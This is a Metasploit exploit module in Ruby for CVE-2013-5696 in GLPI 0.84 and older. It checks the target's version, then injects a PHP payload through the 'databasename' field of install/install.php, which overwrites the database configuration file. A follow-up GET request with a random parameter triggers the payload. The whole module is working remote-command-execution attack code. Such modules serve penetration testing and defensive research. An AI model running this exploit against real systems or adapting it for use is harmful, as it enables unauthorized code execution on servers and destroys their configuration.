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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Application database configuration is overwritten include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'GLPI install.php Remote Command Execution', 'Description'=> %q{ This module exploits an arbitrary command execution vulnerability in the GLPI 'install.php' script. Users should use this exploit at his own risk, since it's going to overwrite database configuration. }, 'Author' => [ 'Tristan Leiter < research[at]navixia.com >', # Navixia Research Team ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2013-5696' ], [ 'URL', 'https://www.navixia.com/blog/entry/navixia-finds-critical-vulnerabilities-in-glpi-cve-2013-5696.html' ], [ 'URL', 'http://www.glpi-project.org/forum/viewtopic.php?id=33762' ], ], 'Privileged' => false, 'Platform' => ['php'], 'Payload'=> { 'Space' => 4000, 'BadChars'=> "#", 'DisableNops' => true, 'Keys'=> ['php'] }, 'Arch' => ARCH_PHP, 'Targets'=> [[ 'GLPI 0.84 or older', { }]], 'DisclosureDate' => 'Sep 12 2013', 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to GLPI', '/glpi/']) ], self.class) end def uri return target_uri.path end def check # Check if the GLPI instance is vulnerable res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(uri, 'index.php'), }) if not res or res.code != 200 return Exploit::CheckCode::Safe end re = '(version)(\\s+)(.*)(\\s+)(Copyright)' m = Regexp.new(re, Regexp::IGNORECASE) matched = m.match(res.body) if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/ print_good("Detected Version : #{matched[3]}") return Exploit::CheckCode::Appears elsif matched print_error("Version #{matched[3]} is not vulnerable") end return Exploit::CheckCode::Safe end def exploit print_status("Injecting the payload...") rand_arg = Rex::Text.rand_text_hex(10) res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(uri, 'install/install.php'), 'vars_post' => { 'install'=> 'update_1', 'db_host'=> 'localhost', 'db_user'=> 'root', 'db_pass'=> 'root', 'databasename' =>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*" } }) unless res and res.code == 200 and res.body =~ /You will update the GLPI database/ print_warning("Unexpected response while injecting the payload, trying to execute anyway...") end print_status("Executing the payload...") send_request_cgi({ 'method'=> 'GET', 'uri' => normalize_uri(uri, 'index.php'), 'vars_get'=> { rand_arg => '1', } }) end end |
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